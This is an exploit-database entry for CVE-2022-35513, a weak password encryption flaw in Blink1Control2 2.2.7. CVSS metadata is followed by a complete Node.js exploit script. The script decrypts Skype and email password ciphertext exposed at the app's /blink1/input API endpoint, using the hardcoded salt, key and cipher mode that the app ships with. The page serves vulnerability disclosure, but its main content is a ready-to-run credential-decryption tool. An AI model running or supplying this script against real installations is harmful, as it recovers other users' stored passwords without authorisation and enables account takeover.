Exploitalert - Database of Exploits

Blink1Control2 2.2.7 Weak Password Encryption

CVE	Category	Price	Severity
CVE-2022-35513	CWE-260	Not disclosed	High

Author	Risk	Exploitation Type	Date
Unknown	High	Remote	2022-09-20

CVSS	EPSS	EPSSP
CVSS:4.0/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N	0	0

CVSS vector description

Metric	Value	Metric Description	Value Description
Attack vector	Local	AV	The vulnerable system is not bound to the network stack and the attacker’s path is via read/write/execute capabilities. Either: the attacker exploits the vulnerability by accessing the target system locally (e.g., keyboard, console), or through terminal emulation (e.g., SSH); or the attacker relies on User Interaction by another person to perform actions required to exploit the vulnerability (e.g., using social engineering techniques to trick a legitimate user into opening a malicious document).
Attack Complexity	Low	AC	The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required	Low	PR	The attacker requires privileges that provide basic capabilities that are typically limited to settings and resources owned by a single low-privileged user. Alternatively, an attacker with Low privileges has the ability to access only non-sensitive resources.
User Interaction	None	UI	The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges
Scope		S	An exploited vulnerability can affect resources beyond the security scope managed by the security authority that is managing the vulnerable component. This is often referred to as a 'privilege escalation,' where the attacker can use the exploited vulnerability to gain control of resources that were not intended or authorized.
Confidentiality	High	C	There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data.
Integrity	High	I	There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system.
Availability	None	A	There is no impact on the availability of the system; the attacker does not have the ability to disrupt access to or use of the system.

https://cxsecurity.com/ascii/WLB-2022090052

Blink1Control2 2.2.7 Weak Password Encryption

// Exploit Title: Blink1Control2 2.2.7 - Weak Password Encryption // Date: 2022-08-12 // Exploit Author: p1ckzi // Vendor Homepage: https://thingm.com/ // Software Link: https://github.com/todbot/Blink1Control2/releases/tag/v2.2.7 // Vulnerable Version: blink1control2 <= 2.2.7 // Tested on: Ubuntu Linux 20.04, Windows 10, Windows 11. // CVE: CVE-2022-35513 // // Description: // the blink1control2 app (versions <= 2.2.7) utilises an insecure method // of password storage which can be found by accessing the /blink1/input url // of the api server. // password ciphertext for skype logins and email are listed // and can be decrypted. example usage: // node blink1-pass-decrypt <ciphertext> #!/usr/bin/env node const {ArgumentParser} = require('argparse'); const simpleCrypt = require('simplecrypt'); function exploit() { const BANNER = '\033[36m\n\ _ _ _ _ _\n\ | |__ | (_)_ __ | | _/ | _ __ __ _ ___ ___\n\ | \'_ \\| | | \'_ \\| |/ | |_____| \'_ \\ / _` / __/ __|_____\n\ | |_) | | | | | | <| |_____| |_) | (_| \\__ \\__ |_____|\n\ |_.__/|_|_|_| |_|_|\\_|_| | .__/ \\__,_|___|___/\n\ |_|\n\ _ _\n\ __| | ___ ___ _ __ _ _ _ __ | |_\n\ / _` |/ _ \\/ __| \'__| | | | \'_ \\| __|\n\ | (_| | __| (__| | | |_| | |_) | |_\n\ \\__,_|\\___|\\___|_| \\__, | .__/ \\__|\n\ |___/|_|\033[39m'; const PARSER = new ArgumentParser({ description: 'decrypts passwords found at the /blink/input url ' + 'of the blink1control2 api server (version <= 2.2.7 ).' }); PARSER.add_argument('ciphertext', { help: 'encrypted password string to use', type: 'str' }); let args = PARSER.parse_args(); // supplied ciphertext is decrypted with same salt, password, and method // used for encryption: try { let crypt = simpleCrypt({ salt: 'boopdeeboop', password: 'blink1control', method: 'aes-192-ecb' }); let ciphertext = args.ciphertext; let decrypted = crypt.decrypt(ciphertext); console.log(BANNER); console.log('\033[32m[+] decrypted password:\033[39m'); console.log(decrypted); } catch (TypeError) { console.log('\033[33m[!] the submitted hash was invalid.\033[39m'); } finally { process.exit(1); } } exploit()

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